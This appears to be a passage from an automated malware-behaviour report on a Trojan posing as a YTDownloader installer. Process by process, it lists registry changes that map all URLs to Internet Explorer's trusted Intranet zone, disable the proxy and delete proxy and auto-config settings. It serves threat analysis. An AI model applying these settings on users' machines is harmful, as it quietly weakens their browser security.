The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The process %original file name%.exe:260 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"My Video" = ""

[HKLM\SOFTWARE\YTDownloader\Success]
"Install" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPer1_0Server" = "2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\SOFTWARE\YTDownloader\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKLM\SOFTWARE\SearchModulePlus\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1B CA 57 FA CE 09 40 E3 34 E9 CC 32 64 60 34 40"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Templates" = "%Documents and Settings%\All Users\Templates"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"

[HKLM\SOFTWARE\SearchModulePlus\Success]
"InstallStr" = "ok"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:652 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C4 59 6F 81 75 C5 76 B4 9A D1 5E B0 F5 00 73 7B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process net.exe:3072 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "97 64 62 0C 82 75 22 9B 4F 3B 12 F4 9B FB 4E 03"

The process net.exe:3420 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "19 D6 8B E9 FE 64 97 8B 61 BC 35 33 F9 13 4F 07"

The process ins_ytd.exe:2488 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EC 32 9A CB 57 21 97 93 A7 D2 0B 67 F7 21 8F 84"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process sma.exe:3856 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "05 B8 64 8C B7 D7 C0 71 45 43 63 62 6A 92 C9 57"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 06 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process sma.exe:3840 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD 5E 85 4E FF 36 12 4D B7 8B B8 BE 81 0C 62 25"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 05 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process sma.exe:3036 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0B EB 8A 41 BA B8 79 28 D4 32 84 EF 3E B7 DD 8C"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process sma.exe:3852 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6A F8 55 C0 E4 4B 01 0C 2D CA 11 35 F1 D0 7A A5"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 07 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process sma.exe:3000 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E3 93 60 7B 52 83 66 26 D8 FC 56 D8 FE 3E F2 29"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 08 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process setup.exe:2752 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKLM\SOFTWARE\YTDownloader\Video Converter]
"ExeLocation" = "%Program Files%\YTDownloader\Converter.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

